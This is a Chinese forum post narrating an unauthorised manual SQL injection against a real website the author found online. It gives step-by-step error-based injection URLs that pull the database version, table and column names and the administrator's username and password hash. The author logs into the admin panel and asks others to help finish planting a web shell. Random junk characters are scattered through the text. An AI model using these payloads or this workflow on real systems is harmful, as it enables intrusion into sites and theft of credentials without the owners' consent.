近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。2 A! ?( m- ?- I' w
首先找到网站后台,加了个admin,后台出来了 9 I- `% w2 j) H! g/ O/ r1 s
+ n. R* s3 e$ M5 L- u
! E5 A- k6 f. z& F1 J! E# @然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
/ o5 w- d' H6 N) C. T. G. rhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
9 N* u- D6 D% C3 s3 c8 ~9 S" S2 Z" |5 }. O2 z- [' B
. e% h3 h+ B2 Z8 B. x3 p
; y" T. L$ ^: Z& _6 b, [2 @' k7 E) ^0 Y% [, W5 i/ V
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
" K" t! P+ H ?; r0 e! x- M; l5 S- w
: u5 ]6 L9 I& T4 x2 x: i8 a! O
+ N' t- L6 M$ h `# F. L* w6 }6 ~7 Z- v) J$ M: C, k
3 q8 ^+ }2 }# B, \4 I+ u
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
& t W' ]: f5 s0 r4 q9 {! W
# y/ x6 Y0 G8 C* [6 T' Y) y
+ f5 F) ^# @( U5 z- q khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
7 V+ B" [: e7 {6 v% U% i D1 x+ O9 v" x% b2 U9 U1 j1 A. B( V5 E n
) [! s% t5 m, \! e1 l4 x
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--7 S: n8 h ~7 ?3 V7 g( y: X
/ ^$ q; C) B6 h2 P9 a
) Q7 k- V7 K& `; M
, c" u& E/ u+ N; w3 e+ s
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--5 z0 V. I, U0 Y9 [* ^: A
$ K8 l# H% p! M: Z
: p- S- C& C. C; f4 D* g9 z
. j7 Y/ @/ c+ j* O: L 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |